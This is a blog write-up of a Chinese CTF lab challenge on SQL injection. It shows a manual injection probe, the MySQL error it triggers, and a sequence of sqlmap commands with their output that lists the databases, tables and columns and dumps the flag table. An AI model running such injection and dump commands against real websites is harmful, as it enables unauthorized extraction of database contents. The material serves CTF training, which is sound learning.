

CTF实验吧-简单的sql注入3【sqlmap直接跑】

原创

Sp4rkW 于 2017-07-23 14:59:25 发布 4884 收藏 7

文章标签: [ctf实验吧](#) [web](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/wy_97/article/details/75911429

版权



[ctf相关 专栏收录该内容](#)

47 篇文章 5 订阅

订阅专栏

原理内容及连接:

mysql报错注入

格式: flag{}

解题链接: http://ctf5.shiyanbar.com/web/index_3.php

本来以为和1,2一样的思路, 加字符来过被忽略的关键字, 结果, 习惯性打个0='0就发现这题有点不对劲

hello是什么鬼!!

Hello!

http://blog.csdn.net/wy_97

前面的格式/**/,/*! */都试了试, 没效果, 一个硕大的单词hello仿佛在嘲笑我, 然后我就很不服气了啊, 试试原来的不变格式的:

```
<span style="color:#666666">' and 'select flag from flag where '1'='1</span>
```

没想到还真有被我弄出来报错了,

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\A1bnH3a\ctf\web\index_3.php on line 30
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1'=1' at line 1

http://blog.csdn.net/wy_97

这个报错很有意思，第一点，说明了flag这个表应该不存在（！！简直不是实验吧了就），第二个是语句就剩个11了，忽略的太狠了就，自己的瞎猜测到此结束，开始翻评论找tip的道路（后面的一般都是水松果的，可以反例最后面，还是有些题目的讨论的），很羞耻的看到了可以盲注，于是乎，掏出了大，，，咳咳咳，sqlmap开始了盲注的尝试

他要的参数随手给弄个3传过去

```
>sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=3" --dbs
```

得到结果，哈哈哈，果然可以直接sqlmap搞定，美滋滋！

```
available databases [3]:  
[*] information_schema  
[*] test  
[*] web1
```

接下来就是几个常规步骤了，顺便总结了下sqlmap的几个基本操作，配图顺便帮助新手理解：

参数：

-D: 指定数据库名称

--tables: 列出表

参数：

-D: 指定数据库名称

-T: 指定要列出字段的表

--columns: 指定列出字段

参数：

-C: 指定要暴的字段

--dump: 将结果导出

```
>sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=3" -D web1 --tables
```

```
Database: web1
[2 tables]
+-----+
| flag |
| web_1 |
+-----+
http://blog.csdn.net/wy_97
```

```
>sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=3" --D web1 --T flag --columns
```

```
Database: web1
Table: flag
[2 columns]
+-----+
| Column | Type |
+-----+
| flag | char(30) |
| id | int(4) |
+-----+
http://blog.csdn.net/wy_97
```

```
>sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=3" --D web1 --T flag --C flag --dump
```

```
Database: web1
Table: flag
[1 entry]
+-----+
| flag |
+-----+
| flag |
+-----+
http://blog.csdn.net/wy_97
```

作为有道德的博主，答案当然遮挡起来了，哈哈哈，自己手动试试吧